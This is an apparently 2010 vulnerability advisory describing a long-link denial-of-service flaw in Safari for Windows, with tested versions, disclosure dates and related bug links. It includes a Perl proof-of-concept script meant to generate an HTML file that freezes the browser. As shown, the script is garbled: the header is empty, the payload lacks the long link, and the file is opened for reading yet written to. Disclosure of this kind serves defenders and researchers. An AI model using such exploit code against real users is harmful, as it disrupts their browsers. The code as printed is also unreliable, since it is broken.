############################################ Safari for windows Long link DoS Vendor URL:http://www.apple.com/safari/ Advisore:http://lostmon.blogspot.com/2010/08/safari-for-windows-long-link-dos.html Vendor notified:Yes exploit available: YES ############################################ Safari is prone vulnerable to Dos with a very long Link... This issue is exploitable via web links like click here or similar vectors. Safari fails to render the link and it turn Frozen resulting in a Denial of service condition. ################# Versions Tested ################# I have tested this issue in win xp sp3 and a windows 7 fully pached. Win XP sp3: Safari 5.0.X vulnerable Safari 4.xx vulnerable windows 7 Ultimate: Safari 5.0.X vulnerable Safari 4.xx vulnerable ############ References ############ Discovered: 29-07-2010 vendor notify:31-07-2010 Vendor Response: Vendor patch: #################### Proof Of Concept #################### ####################################################################### #!/usr/bin/perl # safari & k-meleon Long "a href" Link DoS # Author: Lostmon Lords Lostmon@gmail.com http://lostmon.blogspot.com # Safari 5.0.1 ( 7533,17,8) and prior versions Long link DoS # generate the file open it with safari wait a seconds ###################################################################### $archivo = $ARGV[0]; if(!defined($archivo)) { print "Usage: $0 \n"; } $cabecera = "" . "\n"; $payload = "click here if you can :)" . "\n"; $fin = ""; $datos = $cabecera . $payload . $fin; open(FILE, '<' . $archivo); print FILE $datos; close(FILE); exit; ################## EOF ###################### ############## Related Links ############## vendor bugtracker : http://kmeleon.sourceforge.net/bugs/viewbug.php?bugid=1251 Posible related Vuln: https://bugzilla.mozilla.org/show_bug.cgi?id=583474 Test Case : https://bugzilla.mozilla.org/attachment.cgi?id=461776 ###################### €nd ############################# Thnx to Phreak for support and let me undestanding the nature of this bug thnx to jajoni for test it in windows 7 X64 bits version. atentamente: Lostmon (lostmon@gmail.com) Web-Blog: http://lostmon.blogspot.com/ Google group: http://groups.google.com/group/lostmon (new) -- La curiosidad es lo que hace mover la mente....